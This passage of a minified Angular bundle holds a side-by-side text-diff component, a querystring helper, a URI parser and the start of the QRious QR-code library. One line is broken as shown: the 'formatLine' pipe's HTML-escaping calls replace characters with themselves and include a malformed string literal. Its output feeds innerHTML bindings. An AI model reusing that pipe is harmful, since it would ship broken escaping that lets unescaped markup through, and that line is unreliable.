Ie=this.formatOutput(Pt);Ie||_e("Error"),X(Ie)})}formatOutput(w){let R=1,X=1;return w.reduce((_e,ct)=>{_e||(_e=[]);const Et=ct[1];let Dt=null,Pt=null,Ie=null,te=null,x=null;switch(ct[0]){case s.DIFF_EQUAL:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Ie={lineNumber:R,lineContent:m,lineDiffs:[],prefix:""},te={lineNumber:X,lineContent:m,lineDiffs:[],prefix:""},x={leftContent:Ie,rightContent:te,belongTo:"both",hasDiffs:!1,numDiffs:0},_e.push(x),X+=1,R+=1});break;case s.DIFF_DELETE:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Pt=_e.find(b=>!b.leftContent&&b.rightContent&&b.rightContent.lineNumber===R&&""!==b.rightContent.prefix),Ie={lineNumber:R,lineContent:m,lineDiffs:[{content:m,isDiff:!0}],prefix:"-"},Pt?(Pt.leftContent=Ie,Pt.leftContent.lineDiffs=this.getDiffParts(Pt.leftContent.lineContent,Pt.rightContent.lineContent),Pt.rightContent.lineDiffs=this.getDiffParts(Pt.rightContent.lineContent,Pt.leftContent.lineContent),Pt.belongTo="both",Pt.numDiffs=this.countDiffs(Pt)):_e.push({leftContent:Ie,rightContent:null,hasDiffs:!0,belongTo:"left",numDiffs:1}),R+=1});break;case s.DIFF_INSERT:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Dt=_e.find(b=>b.leftContent&&!b.rightContent&&b.leftContent.lineNumber===X&&""!==b.leftContent.prefix),te={lineNumber:X,lineContent:m,lineDiffs:[{content:m,isDiff:!0}],prefix:"+"},Dt?(Dt.rightContent=te,Dt.leftContent.lineDiffs=this.getDiffParts(Dt.leftContent.lineContent,Dt.rightContent.lineContent),Dt.rightContent.lineDiffs=this.getDiffParts(Dt.rightContent.lineContent,Dt.leftContent.lineContent),Dt.belongTo="both",Dt.numDiffs=this.countDiffs(Dt)):_e.push({leftContent:null,rightContent:te,hasDiffs:!0,belongTo:"right",numDiffs:1}),X+=1})}return _e},[])}countDiffs(w){let R=0;return w.leftContent&&(R+=w.leftContent.lineDiffs.filter(X=>X.isDiff).length),w.leftContent&&(R+=w.rightContent.lineDiffs.filter(X=>X.isDiff).length),R}getDiffParts(w,R){const X=[];let _e=0,ct=0,Je="",Et="";for(;_e<w.length;)w[_e]===R[ct]&&ct<R.length?(""!==Et&&(X.push({content:Et,isDiff:!0}),Et=""),Je+=w[_e]):(""!==Je&&(X.push({content:Je,isDiff:!1}),Je=""),Et+=w[_e]),_e++,ct++;return""!==Et?X.push({content:Et,isDiff:!0}):""!==Je&&X.push({content:Je,isDiff:!1}),X}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275prov=(0,a.Yz7)({factory:function(){return new pe},token:pe,providedIn:"root"}),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[])],pe),pe})(),re=(()=>{let pe=class{constructor(w){this._el=w,this.element=w.nativeElement}};return pe.\\u0275fac=function(w){return new(w||pe)(a.Y36(a.SBq))},pe.\\u0275dir=a.lG2({type:pe,selectors:[["","tdContainer",""]],inputs:{id:"id"}}),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"id",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[a.SBq])],pe),pe})(),ve=(()=>{let pe=class{constructor(w,R,X){this.scrollService=w,this.diff=R,this.cd=X,this._hideMatchingLines=!1,this.format="SideBySide",this.left="",this.right="",this.loading=!1,this.showToolbar=!0,this.showBtnToolbar=!0,this.synchronizeScrolling=!0,this.compareResults=new a.vpe,this.subscriptions=[],this.tableRows=[],this.filteredTableRows=[],this.tableRowsLineByLine=[],this.filteredTableRowsLineByLine=[],this.diffsCount=0,this.formatOptions=[{id:"side-by-side",name:"side-by-side",label:"Side by Side",value:"SideBySide",icon:"la-code"},{id:"line-by-line",name:"line-by-line",label:"Line by Line",value:"LineByLine",icon:"la-file-text"}]}get hideMatchingLines(){return this._hideMatchingLines}set hideMatchingLines(w){this.hideMatchingLinesChanged(w)}ngOnInit(){this.loading=!0,this.diffContent&&this.subscriptions.push(this.diffContent.subscribe(w=>{this.loading=!0,this.left=w.leftContent,this.right=w.rightContent,this.renderDiffs().then(()=>{this.cd.detectChanges(),this.loading=!1}).catch(()=>this.loading=!1)})),this.renderDiffs().then(()=>this.loading=!1).catch(w=>this.loading=!1)}ngAfterViewInit(){this.initScrollListener()}ngOnDestroy(){this.subscriptions&&this.subscriptions.forEach(w=>w.unsubscribe())}hideMatchingLinesChanged(w){this._hideMatchingLines=w,this.hideMatchingLines?(this.filteredTableRows=this.tableRows.filter(R=>R.leftContent&&"-"===R.leftContent.prefix||R.rightContent&&"+"===R.rightContent.prefix),this.filteredTableRowsLineByLine=this.tableRowsLineByLine.filter(R=>R.leftContent&&"-"===R.leftContent.prefix||R.rightContent&&"+"===R.rightContent.prefix)):(this.filteredTableRows=this.tableRows,this.filteredTableRowsLineByLine=this.tableRowsLineByLine)}setDiffTableFormat(w){this.format=w}renderDiffs(){return(0,n.mG)(this,void 0,void 0,function*(){try{this.diffsCount=0,this.tableRows=yield this.diff.getDiffsByLines(this.left,this.right),this.tableRowsLineByLine=this.tableRows.reduce((w,R)=>(w||(w=[]),R.hasDiffs?(R.leftContent&&w.push({leftContent:R.leftContent,rightContent:null,belongTo:R.belongTo,hasDiffs:!0,numDiffs:R.numDiffs}),R.rightContent&&w.push({leftContent:null,rightContent:R.rightContent,belongTo:R.belongTo,hasDiffs:!0,numDiffs:R.numDiffs})):w.push(R),w),[]),this.diffsCount=this.tableRows.filter(w=>w.hasDiffs).length,this.filteredTableRows=this.tableRows,this.filteredTableRowsLineByLine=this.tableRowsLineByLine,this.emitCompareResultsEvent()}catch(w){throw w}})}emitCompareResultsEvent(){const w={hasDiff:this.diffsCount>0,diffsCount:this.diffsCount,rowsWithDiff:this.tableRows.filter(R=>R.hasDiffs).map(R=>({leftLineNumber:R.leftContent?R.leftContent.lineNumber:null,rightLineNumber:R.rightContent?R.rightContent.lineNumber:null,numDiffs:R.numDiffs}))};this.compareResults.next(w)}trackTableRows(w,R){return R&&R.leftContent?R.leftContent.lineContent:R&&R.rightContent?R.rightContent.lineContent:void 0}trackDiffs(w,R){return R&&R.content?R.content:void 0}initScrollListener(){this.subscriptions.push(this.scrollService.scrolled().subscribe(w=>{if(w&&this.synchronizeScrolling){const R=w.getElementRef().nativeElement.id,X=this.containers.find(_e=>_e.id!==R);X&&X.element.scrollTo({top:w.measureScrollOffset("top"),left:w.measureScrollOffset("left")})}}))}};return pe.\\u0275fac=function(w){return new(w||pe)(a.Y36(f.mF),a.Y36(De),a.Y36(a.sBO))},pe.\\u0275cmp=a.Xpm({type:pe,selectors:[["td-ngx-text-diff"]],viewQuery:function(w,R){if(1&w&&a.Gf(re,5),2&w){let X;a.iGM(X=a.CRH())&&(R.containers=X)}},inputs:{format:"format",left:"left",right:"right",loading:"loading",showToolbar:"showToolbar",showBtnToolbar:"showBtnToolbar",synchronizeScrolling:"synchronizeScrolling",hideMatchingLines:"hideMatchingLines",diffContent:"diffContent",outerContainerClass:"outerContainerClass",outerContainerStyle:"outerContainerStyle",toolbarClass:"toolbarClass",toolbarStyle:"toolbarStyle",compareRowsClass:"compareRowsClass",compareRowsStyle:"compareRowsStyle"},outputs:{compareResults:"compareResults"},decls:2,vars:2,consts:[[3,"active"],["class","td-wrapper",3,"ngClass","ngStyle",4,"ngIf"],[1,"td-wrapper",3,"ngClass","ngStyle"],[3,"ngClass","ngStyle",4,"ngIf"],["class","td-toolbar-select-format",4,"ngIf"],[1,"td-table-wrapper",3,"ngClass","ngStyle"],["class","td-table-container side-by-side","id","td-left-compare-container","tdContainer","","cdkScrollable","",4,"ngIf"],["class","td-table-container side-by-side","id","td-right-compare-container","tdContainer","","cdkScrollable","",4,"ngIf"],["class","td-table-container line-by-line",4,"ngIf"],[3,"ngClass","ngStyle"],[1,"td-toolbar-show-diff"],[1,"td-checkbox-container"],["type","checkbox","id","showDiffs",3,"ngModel","ngModelChange"],[1,"checkmark"],[1,"td-toolbar-select-format"],["data-toggle","buttons",1,"td-btn-group","td-btn-group-toggle"],[3,"ngClass","name","id","disabled","click",4,"ngFor","ngForOf"],[3,"ngClass","name","id","disabled","click"],["id","td-left-compare-container","tdContainer","","cdkScrollable","",1,"td-table-container","side-by-side"],[1,"td-table"],[4,"ngFor","ngForOf","ngForTrackBy"],["scope","row",1,"fit-column","line-number-col",3,"ngClass"],[1,"fit-column","prefix-col",3,"ngClass"],["class","content-col",3,"ngClass",4,"ngIf"],[1,"content-col",3,"ngClass"],[3,"innerHTML"],[3,"innerHTML","ngClass",4,"ngFor","ngForOf","ngForTrackBy"],[3,"innerHTML","ngClass"],["id","td-right-compare-container","tdContainer","","cdkScrollable","",1,"td-table-container","side-by-side"],[1,"td-table-container","line-by-line"],["scope","row",1,"fit-column","line-number-col-left"],["scope","row",1,"fit-column","line-number-col"]],template:function(w,R){1&w&&(a._UZ(0,"td-loader-spinner",0),a.YNc(1,Ke,7,9,"div",1)),2&w&&(a.Q6J("active",R.loading),a.xp6(1),a.Q6J("ngIf",!R.loading))},dependencies:function(){return[E.mk,E.sg,E.O5,E.PC,_.Wl,_.JJ,_.On,f.PQ,We,re,xt]},styles:[".td-wrapper[_ngcontent-%COMP%]{display:grid;width:100%;grid-row-gap:10px;grid-template-columns:repeat(2,[col] 50%);grid-template-rows:repeat(2,[row] auto);background-color:#fff;color:#444}.td-toolbar-show-diff[_ngcontent-%COMP%]{grid-column:1;grid-row:1}.td-toolbar-select-format[_ngcontent-%COMP%]{margin-left:auto;grid-column:2;grid-row:1}.td-table-container[_ngcontent-%COMP%]{grid-column:1/2;grid-row:2;width:100%;max-width:100%;overflow-x:auto}.td-table-wrapper[_ngcontent-%COMP%]{display:flex;width:200%}.td-table[_ngcontent-%COMP%]{border:1px solid #a9a9a9;max-height:50vh;width:100%;max-width:100%}.fit-column[_ngcontent-%COMP%]{width:1px;white-space:nowrap}.line-number-col[_ngcontent-%COMP%]{position:relative;position:-webkit-sticky;position:sticky;left:0;top:auto;border-right:1px solid #ddd;color:#999;text-align:right;background-color:#f7f7f7;padding-left:10px;padding-right:10px;font-size:87.5%}.line-number-col-left[_ngcontent-%COMP%]{color:#999;padding-left:10px;padding-right:10px;text-align:right;background-color:#f7f7f7;font-size:87.5%}.insert-row[_ngcontent-%COMP%], .insert-row[_ngcontent-%COMP%] > .line-number-col[_ngcontent-%COMP%]{background-color:#dfd;border-color:#b4e2b4}.delete-row[_ngcontent-%COMP%], .delete-row[_ngcontent-%COMP%] > .line-number-col[_ngcontent-%COMP%]{background-color:#fee8e9;border-color:#e9aeae}.empty-row[_ngcontent-%COMP%]{background-color:#f7f7f7;height:24px}.td-table[_ngcontent-%COMP%] td[_ngcontent-%COMP%]{border-top:0;padding-top:0;padding-bottom:0;white-space:nowrap;max-width:50%}pre[_ngcontent-%COMP%]{margin-bottom:0}td.content-col[_ngcontent-%COMP%]{padding:0;margin:0;line-height:24px}td.prefix-col[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px;line-height:24px}.td-btn-group[_ngcontent-%COMP%]{border-radius:4px}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{background-color:rgba(23,162,184,.7);border:1px solid #17a2b8;color:#fff;cursor:pointer;float:left}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:not(:last-child){border-right:none}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:first-child{-webkit-border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-topleft:4px;-moz-border-radius-bottomleft:4px;border-top-left-radius:4px;border-bottom-left-radius:4px}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:last-child{-webkit-border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px;border-top-right-radius:4px;border-bottom-right-radius:4px}.td-btn-group[_ngcontent-%COMP%]:after{content:\'\';clear:both;display:table}.td-btn-group[_ngcontent-%COMP%] button.active[_ngcontent-%COMP%], .td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:hover{background-color:#17a2b8}.td-checkbox-container[_ngcontent-%COMP%]{display:block;position:relative;padding-left:21px;margin-bottom:0;cursor:pointer;font-size:16px;line-height:28px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{position:absolute;opacity:0;cursor:pointer;height:0;width:0}.checkmark[_ngcontent-%COMP%]{position:absolute;top:7px;left:0;height:16px;width:16px;background-color:#eee}.td-checkbox-container[_ngcontent-%COMP%]:hover input[_ngcontent-%COMP%] ~ .checkmark[_ngcontent-%COMP%]{background-color:#ccc}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:checked ~ .checkmark[_ngcontent-%COMP%]{background-color:#17a2b8}.checkmark[_ngcontent-%COMP%]:after{content:\\"\\";position:absolute;display:none}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:checked ~ .checkmark[_ngcontent-%COMP%]:after{display:block}.td-checkbox-container[_ngcontent-%COMP%] .checkmark[_ngcontent-%COMP%]:after{left:5px;top:3px;width:5px;height:10px;border:solid #fff;border-width:0 3px 3px 0;transform:rotate(45deg)}.insert-row[_ngcontent-%COMP%] > .highlight[_ngcontent-%COMP%]{background-color:#acf2bd!important}.delete-row[_ngcontent-%COMP%] > .highlight[_ngcontent-%COMP%]{background-color:#fdb8c0!important}"]}),(0,n.gn)([(0,a.vR)(re),(0,n.w6)("design:type",a.n_E)],pe.prototype,"containers",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"format",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"left",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"right",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",c.y)],pe.prototype,"diffContent",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"loading",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"showToolbar",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"showBtnToolbar",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Boolean),(0,n.w6)("design:paramtypes",[Boolean])],pe.prototype,"hideMatchingLines",null),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"outerContainerClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"outerContainerStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"toolbarClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"toolbarStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"compareRowsClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"compareRowsStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"synchronizeScrolling",void 0),(0,n.gn)([(0,a.r_U)(),(0,n.w6)("design:type",Object)],pe.prototype,"compareResults",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[f.mF,De,a.sBO])],pe),pe})(),We=(()=>{let pe=class{constructor(){this.active=!1}ngOnInit(){}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275cmp=a.Xpm({type:pe,selectors:[["td-loader-spinner"]],inputs:{active:"active"},decls:1,vars:1,consts:[["class","td-loading-roller",4,"ngIf"],[1,"td-loading-roller"]],template:function(w,R){1&w&&a.YNc(0,dt,9,0,"div",0),2&w&&a.Q6J("ngIf",R.active)},dependencies:[E.O5],styles:[\'.td-loading-roller[_ngcontent-%COMP%]{display:inline-block;position:relative;width:64px;height:64px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{-webkit-animation:1.2s cubic-bezier(.5,0,.5,1) infinite _ngcontent-%COMP%_lds-roller;animation:1.2s cubic-bezier(.5,0,.5,1) infinite _ngcontent-%COMP%_lds-roller;transform-origin:32px 32px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:after{content:" ";display:block;position:absolute;width:6px;height:6px;border-radius:50%;background:#000;margin:-3px 0 0 -3px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(1){-webkit-animation-delay:-36ms;animation-delay:-36ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(1):after{top:50px;left:50px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(2){-webkit-animation-delay:-72ms;animation-delay:-72ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(2):after{top:54px;left:45px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(3){-webkit-animation-delay:-108ms;animation-delay:-108ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(3):after{top:57px;left:39px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(4){-webkit-animation-delay:-144ms;animation-delay:-144ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(4):after{top:58px;left:32px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(5){-webkit-animation-delay:-.18s;animation-delay:-.18s}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(5):after{top:57px;left:25px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(6){-webkit-animation-delay:-216ms;animation-delay:-216ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(6):after{top:54px;left:19px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(7){-webkit-animation-delay:-252ms;animation-delay:-252ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(7):after{top:50px;left:14px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(8){-webkit-animation-delay:-288ms;animation-delay:-288ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(8):after{top:45px;left:10px}@-webkit-keyframes _ngcontent-%COMP%_lds-roller{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes _ngcontent-%COMP%_lds-roller{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}\']}),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"active",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[])],pe),pe})(),xt=(()=>{let pe=class{transform(w,R){return w?w.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/ /g," "):" "}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275pipe=a.Yjl({name:"formatLine",type:pe,pure:!0}),pe})(),Be=(()=>{let pe=class{};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275mod=a.oAB({type:pe}),pe.\\u0275inj=a.cJS({imports:[E.ez,_.u5,f.Cl]}),pe})()},3257:(At,ae)=>{ae.encode=function(d){var n="";for(var a in d)d.hasOwnProperty(a)&&(n.length&&(n+="&"),n+=encodeURIComponent(a)+"="+encodeURIComponent(d[a]));return n},ae.decode=function(d){for(var n={},a=d.split("&"),s=0,u=a.length;s<u;s++){var c=a[s].split("=");n[decodeURIComponent(c[0])]=decodeURIComponent(c[1])}return n}},1884:At=>{var ae=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/,d=["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"];At.exports=function(u){var c=u,f=u.indexOf("["),E=u.indexOf("]");-1!=f&&-1!=E&&(u=u.substring(0,f)+u.substring(f,E).replace(/:/g,";")+u.substring(E,u.length));for(var _=ae.exec(u||""),S={},g=14;g--;)S[d[g]]=_[g]||"";return-1!=f&&-1!=E&&(S.source=c,S.host=S.host.substring(1,S.host.length-1).replace(/;/g,":"),S.authority=S.authority.replace("[","").replace("]","").replace(/;/g,":"),S.ipv6uri=!0),S.pathNames=function n(s,u){var f=u.replace(/\\/{2,9}/g,"/").split("/");return("/"==u.substr(0,1)||0===u.length)&&f.splice(0,1),"/"==u.substr(u.length-1,1)&&f.splice(f.length-1,1),f}(0,S.path),S.queryKey=function a(s,u){var c={};return u.replace(/(?:^|&)([^&=]*)=?([^&]*)/g,function(f,E,_){E&&(c[E]=_)}),c}(0,S.query),S}},2516:function(At){At.exports=function(){"use strict";var ae=function(){},d=Object.prototype.hasOwnProperty,n=Array.prototype.slice;function u(P,w,R){for(var X,_e,ct=0,Je=(R=n.call(arguments,2)).length;ct<Je;ct++)for(X in _e=R[ct])(!P||d.call(_e,X))&&(w[X]=_e[X])}var c=function s(P,w,R,X){var _e=this;return"string"!=typeof P&&(X=R,R=w,w=P,P=null),"function"!=typeof w&&(X=R,R=w,w=function(){return _e.apply(this,arguments)}),u(!1,w,_e,X),w.prototype=function a(P,w){var R;return"function"==typeof Object.create?R=Object.create(P):(ae.prototype=P,R=new ae,ae.prototype=null),w&&u(!0,R,w),R}(_e.prototype,R),w.prototype.constructor=w,w.class_=P||_e.class_,w.super_=_e,w};function f(){}f.class_="Nevis",f.super_=Object,f.extend=c;var _=f,g=_.extend(function(P,w,R){this.qrious=P,this.element=w,this.element.qrious=P,this.enabled=Boolean(R)},{draw:function(P){},getElement:function(){return this.enabled||(this.enabled=!0,this.render()),this.element},getModuleSize:function(P){var w=this.qrious,X=Math.floor((w.size-2*(w.padding||0))/P.width);return Math.max(1,X)},getOffset:function(P){var w=this.qrious,R=w.padding;if(null!=R)return R;var X=this.getModuleSize(P),_e=Math.floor((w.size-X*P.width)/2);return Math.max(0,_e)},render:function(P){this.enabled&&(this.resize(),this.reset(),this.draw(P))},reset:function(){},resize:function(){}}),z=g.extend({draw:function(P){var w,R,X=this.qrious,_e=this.getModuleSize(P),ct=this.getOffset(P),Je=this.element.getContext("2d");for(Je.fillStyle=X.foreground,Je.globalAlpha=X.foregroundAlpha,w=0;w<P.width;w++)for(R=0;R<P.width;R++)P.buffer[R*P.width+w]&&Je.fillRect(_e*w+ct,_e*R+ct,_e,_e)},reset:function(){var P=this.qrious,w=this.element.getContext("2d"),R=P.size;w.lineWidth=1,w.clearRect(0,0,R,R),w.fillStyle=P.background,w.globalAlpha=P.backgroundAlpha,w.fillRect(0,0,R,R)},resize:function(){var P=this.element;P.width=P.height=this.qrious.size}}),j=_.extend(null,{BLOCK:[0,11,15,19,23,27,31,16,18,20,22,24,26,28,20,22,24,24,26,28,28,22,24,24,26,26,28,28,24,24,26,26,26,28,28,24,26,26,26,28,28]}),G=_.extend(null,{BLOCKS:[1,0,19,7,1,0,16,10,1,0,13,13,1,0,9,17,1,0,34,10,1,0,28,16,1,0,22,22,1,0,16,28,1,0,55,15,1,0,44,26,2,0,17,18,2,0,13,22,1,0,80,20,2,0,32,18,2,0,24,26,4,0,9,16,1,0,108,26,2,0,43,24,2,2,15,18,2,2,11,22,2,0,68,18,4,0,27,16,4,0,19,24,4,0,15,28,2,0,78,20,4,0,31,18,2,4,14,18,4,1,13,26,2,0,97,24,2,2,38,22,4,2,18,22,4,2,14,26,2,0,116,30,3,2,36,22,4,4,16,20,4,4,12,24,2,2,68,18,4,1,43,26,6,2,19,24,6,2,15,28,4,0,81,20,1,4,50,30,4,4,22,28,3,8,12,24,2,2,92,24,6,2,36,22,4,6,20,26,7,4,14,28,4,0,107,26,8,1,37,22,8,4,20,24,12,4,11,22,3,1,115,30,4,5,40,24,11,5,16,20,11,5,12,24,5,1,87,22,5,5,41,24,5,7,24,30,11,7,12,24,5,1,98,24,7,3,45,28,15,2,19,24,3,13,15,30,1,5,107,28,10,1,46,28,1,15,22,28,2,17,14,28,5,1,120,30,9,4,43,26,17,1,22,28,2,19,14,28,3,4,113,28,3,11,44,26,17,4,21,26,9,16,13,26,3,5,107,28,3,13,41,26,15,5,24,30,15,10,15,28,4,4,116,28,17,0,42,26,17,6,22,28,19,6,16,30,2,7,111,28,17,0,46,28,7,16,24,30,34,0,13,24,4,5,121,30,4,14,47,28,11,14,24,30,16,14,15,30,6,4,117,30,6,14,45,28,11,16,24,30,30,2,16,30,8,4,106,26,8,13,47,28,7,22,24,30,22,13,15,30,10,2,114,28,19,4,46,28,28,6,22,28,33,4,16,30,8,4,122,30,22,3,45,28,8,26,23,30,12,28,15,30,3,10,117,30,3,23,45,28,4,31,24,30,11,31,15,30,7,7,116,30,21,7,45,28,1,37,23,30,19,26,15,30,5,10,115,30,19,10,47,28,15,25,24,30,23,25,15,30,13,3,115,30,2,29,46,28,42,1,24,30,23,28,15,30,17,0,115,30,10,23,46,28,10,35,24,30,19,35,15,30,17,1,115,30,14,21,46,28,29,19,24,30,11,46,15,30,13,6,115,30,14,23,46,28,44,7,24,30,59,1,16,30,12,7,121,30,12,26,47,28,39,14,24,30,22,41,15,30,6,14,121,30,6,34,47,28,46,10,24,30,2,64,15,30,17,4,122,30,29,14,46,28,49,10,24,30,24,46,15,30,4,18,122,30,13,32,46,28,48,14,24,30,42,32,15,30,20,4,117,30,40,7,47,28,43,22,24,30,10,67,15,30,19,6,118,30,18,31,47,28,34,34,24,30,20,61,15,30],FINAL_FORMAT:[30660,29427,32170,30877,26159,25368,27713,26998,21522,20773,24188,23371,17913,16590,20375,19104,13663,12392,16177,14854,9396,8579,11994,11245,5769,5054,7399,6608,1890,597,3340,2107],LEVELS:{L:1,M:2,Q:3,H:4}}),oe=_.extend(null,{EXPONENT:[1,2,4,8,16,32,64,128,29,58,116,232,205,135,19,38,76,152,45,90,180,117,234,201,143,3,6,12,24,48,96,192,157,39,78,156,37,74,148,53,106,212,181,119,238,193,159,35,70,140,5,10,20,40,80,160,93,186,105,210,185,111,222,161,95,190,97,194,153,47,94,188,101,202,137,15,30,60,120,240,253,231,211,187,107,214,177,127,254,225,223,163,91,182,113,226,217,175,67,134,17,34,68,136,13,26,52,104,208,189,103,206,129,31,62,124,248,237,199,147,59,118,236,197,151,51,102,204,133,23,46,92,184,109,218,169,79,158,33,66,132,21,42,84,168,77,154,41,82,164,85,170,73,146,57,114,228,213,183,115,230,209,191,99,198,145,63,126,252,229,215,179,123,246,241,255,227,219,171,75,150,49,98,196,149,55,110,220,165,87,174,65,130,25,50,100,200,141,7,14,28,56,112,224,221,167,83,166,81,162,89,178,121,242,249,239,195,155,43,86,172,69,138,9,18,36,72,144,61,122,244,245,247,243,251,235,203,139,11,22,44,88,176,125,250,233,207,131,27,54,108,216,173,71,142,0],LOG:[255,0,1,25,2,50,26,198,3,223,51,238,27,104,199,75,4,100,224,14,52,141,239,129,28,193,105,248,200,8,76,113,5,138,101,47,225,36,15,33,53,147,142,218,240,18,130,69,29,181,194,125,106,39,249,185,201,154,9,120,77,228,114,166,6,191,139,98,102,221,48,253,226,152,37,179,16,145,34,136,54,208,148,206,143,150,219,189,241,210,19,92,131,56,70,64,30,66,182,163,195,72,126,110,107,58,40,84,250,133,186,61,202,94,155,159,10,21,121,43,78,212,229,172,115,243,167,87,7,112,192,247,140,128,99,13,103,74,222,237,49,197,254,24,227,165,153,119,38,184,180,124,17,68,146,217,35,32,137,46,55,63,209,91,149,188,207,205,144,135,151,178,220,252,190,97,242,86,211,171,20,42,93,158,132,60,57,83,71,109,65,162,31,45,67,216,183,123,164,118,196,23,73,236,127,12,111,246,108,161,59,82,41,157,85,170,251,96,134,177,187,204,62,90,203,89,95,176,156,169,160,81,11,245,22,235,122,117,44,215,79,174,213,233,230,231,173,232,116,214,244,234,168,80,88,175]}),k=_.extend(null,{BLOCK:[3220,1468,2713,1235,3062,1890,2119,1549,2344,2936,1117,2583,1330,2470,1667,2249,2028,3780,481,4011,142,3098,831,3445,592,2517,1776,2234,1951,2827,1070,2660,1345,3177]}),K=_.extend(function(P){var w,R,X,_e,ct,Je=P.value.length;for(this._badness=[],this._level=G.LEVELS[P.level],this._polynomial=[],this._value=P.value,this._version=0,this._stringBuffer=[];this._version<40&&(this._version++,X=4*(this._level-1)+16*(this._version-1),_e=G.BLOCKS[X++],ct=G.BLOCKS[X++],w=G.BLOCKS[X++],R=G.BLOCKS[X],!(Je<=(X=w*(_e+ct)+ct-3+(this._version<=9)))););this._dataBlock=w,this._eccBlock=R,this._neccBlock1=_e,this._neccBlock2=ct;var 